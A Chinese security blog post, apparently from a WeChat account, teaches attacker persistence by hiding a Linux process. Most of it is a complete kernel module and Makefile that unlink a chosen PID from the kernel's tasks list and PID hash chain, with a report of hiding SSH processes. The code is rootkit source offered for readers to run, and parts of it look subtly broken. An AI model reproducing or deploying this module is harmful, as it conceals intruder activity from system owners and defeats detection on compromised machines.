为了把最好的课程带给大家,这周还是忙于打磨课程,所以更新慢了一点,见谅!
试听课会在这周末上线,敬请期待!
今天继续之前的话题--权限维持之隐藏进程,之前有读者反映看不懂,故这篇选择一个容易理解上手简单的手法--从tasks与pid链表摘除进程。
本文目录
何为PID 链
也就是基于 PID 的链表。
内核中使用一种特殊的数据结构来快速查找基于 PID 的进程信息。这就是 PID 链,它是一种哈希表结构,其中包含了指向 task_struct 的指针。
每个 task_struct 结构体中都包含一个 PID 链表的节点,task_struct包含了进程的详细信息。这些节点链接在一起,形成了一个快速查找特定 PID 对应进程的结构。
通过 PID 链,内核可以迅速找到与特定 PID 相关联的 task_struct 实例,这对于处理诸如信号传递、进程通信等任务至关重要。
何为tasks链表
这个链表由 task_struct 结构体组成,用于维护系统中所有进程的信息,每个进程在内核中都有一个对应的 task_struct 实例。
作用:进程追踪,进程管理。
那么我们把要隐藏的进程从这两个链表摘除,也就是将进程从全局的任务列表中删除,是不是就达到在系统级别隐藏进程的效果了?
开始实验
先看一下ssh的相关进程,隐藏2198进程
hide_process.c文件内容如下
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/sched/signal.h>
/* 隐藏特定 PID 的进程 */
void hide_process(void)
{
int pid = 2198; // 您想要隐藏的进程 PID
struct task_struct *task = NULL;
struct pid *pid_struct = NULL;
struct hlist_node *node = NULL;
/* 获取指定 PID 的 task_struct */
pid_struct = find_get_pid(pid);
task = pid_task(pid_struct, PIDTYPE_PID);
if (!task)
return;
/* 从任务列表中删除该进程 */
list_del_rcu(&task->tasks);
INIT_LIST_HEAD(&task->tasks);
/* 从 PID 链表中删除该进程 */
node = &task->pids[PIDTYPE_PID].node;
hlist_del_rcu(node);
INIT_HLIST_NODE(node);
node->pprev = &node;
put_pid(pid_struct);
}
static int __init test_init(void)
{
hide_process();
return 0;
}
static void __exit test_exit(void)
{
printk(KERN_INFO "Module exit: Process hidingn");
}
module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
Makefile文件内容如下
obj-m += hide_process.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make并加载到内核
再次查看ssh相关进程,ok隐藏了。
好玩,卸载掉这个模块,再隐藏一个玩玩,改一下对应pid为3273
ok,成功全部隐藏。简简单单。
最后感叹一句,路虽远 行则将至,事虽难 做则必成。希望各位读者不要畏手畏脚,文章中遇到读不懂的东西一定要去研究一下,不要得过且过,偷懒只会让你原地踏步甚至是不进则退,纸上得来终觉浅,绝知此事要躬行,不仅要看懂,更要去实践一下,这样才能有更深刻的理解,才能真正掌握知识,祝大家每天都有进步!
以及:天寒露重,望君保重。
往期文章汇总
权限维持和排查
继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)
别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)
你不知道的win应急思路!从维权到排查,面试必问!不来看看?
rootkit原理
从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)
漏洞复现和利用手法
从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具
从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具
从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)
浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理
如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)
从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理
遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)
浅分析 Apache Confluence [CVE-2023-22515]
一些工具和原理
浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)
浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理
一些渗透手法
从绕过disable_functions到关于so的一些想法
一些杂谈
考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)
晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)
2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)
上专科,干外包驻场,会有未来吗?这辈子就这样了?我的出路在哪?(qq.com)
原文始发于微信公众号(黑熊安全):进程隐藏之从tasks与pid链表摘除
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论